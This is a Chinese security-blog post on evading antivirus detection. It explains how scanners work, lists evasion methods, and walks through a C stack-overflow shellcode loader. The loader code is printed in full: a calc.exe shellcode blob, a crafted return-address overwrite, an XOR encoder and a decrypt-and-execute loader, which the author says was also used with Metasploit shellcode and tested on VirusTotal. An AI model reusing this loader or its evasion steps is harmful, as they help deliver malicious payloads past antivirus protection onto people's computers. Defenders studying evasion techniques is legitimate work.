freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

基于栈溢出的免杀尝试
Mr_miming 2022-04-11 10:22:33 144927
所属地 陕西省

杀毒原理浅析

1 基于特征码的查杀

应用最广泛的是特征码法,根据从病毒体中提取的病毒特征码,逐个与程序文件比较.特征码是反病毒公司在分析病毒时,确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别开来.杀毒软件的升级就是使该软件病毒库数据更新,能查出新的病毒.

2 启发式扫描

检测过程通常分为两个阶段, 第一阶段是发现程序的行为,主要检测程序前段和后段部分,大约几K的代码。发现方法分静态扫描和动态扫描两种,区别主要在于是否利用CPU模拟器来检测程序的行为。

静态启发式扫描检测方法:字节序列(签名)比对法:通过匹配字节序列来发现程序中的某些行为。静态检测方法开销小,但是可能会漏掉一些经过精心设计的病毒。动态启动式扫描检测方法:在隔离的仿真环境里运行可疑文件,扫描程序监视可疑文件的系统调用。动态检测方法开销大,效率低。对于只有在特定条件下才感染新文件的病毒,可能无法检测出(如果在检测时没有满足病毒的活动条件),这种情况下,静态检测方法更有效。

3 沙箱技术

查毒引擎中的虚拟机,并不是像VMWare的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。

免杀技术

1 修改特征码

如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。

2 花指令

在程序shellcode或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。

3 加壳免杀

程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如:UPX、ASPack等。

4 二次开发

对常用shellcode,如CS、MSF的shellcode进行二次编译,消除shellcode特征进行免杀。

基于栈溢出的免杀

栈溢出原理

堆栈是一种具有一定规则的数据结构,我们可以按照一定的规则进行添加和删除数据。它使用的是后进先出的原则。在x86等汇编集合中堆栈与弹栈的操作指令分别为:PUSH:入栈。POP:出栈。

ESP:栈的指针寄存器,存放一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。EBP:基址指针寄存器,存放一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EIP:指令寄存器,存放者一个指针,该指针永远指向下一条等待执行的指令地址。

函数栈帧:ESP和EBP之间的内存为当前函数的栈帧,EBP标识了当前函数的栈低,ESP标识了当前函数的栈帧顶部。

在函数栈帧中,一般包含几类信息:1、局部变量:为函数局部变量开辟的内存空间2、栈帧状态值:保存前栈帧的ESP和EBP,用于在本栈被弹出后用于恢复上一个栈帧。3、函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。首先写一段存在栈溢出漏洞的代码:

#include <stdio.h> #include <stdlib.h> char shellcode_calc[] = "\x90\x90\x90\x90\x90\x90\x90\x90"; int func() { char buffer[8]; strcpy(buffer,shellcode_calc); return 0; } int main(){ func(); return 0; }

可以看到上述代码strcpy函数中数组越界会导致缓冲区溢出。在漏洞点下方断点:

1649640614_625384a68ceb855755eeb.png!small?1649640618823

可以看到栈底为0060FF18

1649640681_625384e90eb7d70ec3753.png!small?1649640684447

可以看出,共输入16个字节即可覆盖栈底EBP,并且覆盖函数的返回地址,此处修改溢出的函数返回地址,则可以跳转到内存中任意区域,如果此处指向shellcode的地址,则shellcode会被执行。

1649641320_625387682b55d0e81bd06.png!small?1649641320454

此处先生成calc的shellcode进行测试:

1649642797_62538d2d3ec0288bf1065.png!small?1649642797611

由于要执行shellcode,需要先获取shellcode在内存中的地址。

1649642881_62538d81379980c926ccc.png!small?1649642882093

获取到shellcode的地址为00402020。由于溢出需要16个字节,且最后4个字节为shellcode的地址00402020。故修改payload为:

\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00

由于地址在内存中是地位在前,高位在后,所以要想如上写法。1649643297_62538f213239beeb2df0f.png!small?1649643297656
此时就可以执行我们shellcode中的内容:1649643342_62538f4eae49d11b0d50f.png!small?1649643343120
代码如下:

#include <stdio.h>
#include <stdlib.h> 

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
char shellcode_calc[] = "\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00";
int func()
{
char buffer[8];
strcpy(buffer,shellcode_calc); 
return 0;
}
int main(){
  func();
return 0;
}

此时我们将shellcode替换为MSF的shellcode进行尝试可以正常连接。放到VT进行检测,可以看到效果不太好,此时对shellcode进行异或加密,然后解密执行:异或shellcode的代码如下:

#include <stdio.h>

unsigned char buf[] = "";
void encode_func()
{
int i;
for (i = 0;i < (sizeof(buf)-1);i++)
  {
    buf[i] = buf[i] ^ 0x1b;
printf("\\x%02x",buf[i]);
  }
}
int main(){
  encode_func();
return 0;
}

对异或加密后的shellcode进行解密之后执行:

#include <stdio.h>#include <stdlib.h> unsigned char buf[] = "\xe7\xf3\x94\x1b\x1b\x1b\x7b\x92\xfe\x2a\xc9\x7f\x90\x49\x2b\x90 ......";char shellcode_calc[] = "\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x71\x20\x20\x40\x00";int func(){  int i;  for (i = 0;i < (sizeof(buf)-1);i++)  {    buf[i] = buf[i] ^ 0x1b;  }    char buffer[8];  strcpy(buffer,shellcode_calc);   return 0;}int main(){  func();  return 0;}

可以看到效果依旧不好,由于杀软是基于shellcode的特征进行查杀的,所以需要对shellcode进行特征码去除或者二次编译进行免杀尝试,对于shellcode修改特征码、添加花指令、加壳以及二次编译敬请期待后续文章。

# 渗透测试 # 黑客 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Mr_miming 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Mr_miming LV.4
这家伙太懒了,还未填写个人描述!
  • 12 文章数
  • 5 关注者
《互联网政务应用安全管理规定》个人解读
2025-01-03
《电力监控系统安全防护规定》个人整理
2025-01-03
国际网络安全事件汇总(二)
2024-05-16
文章目录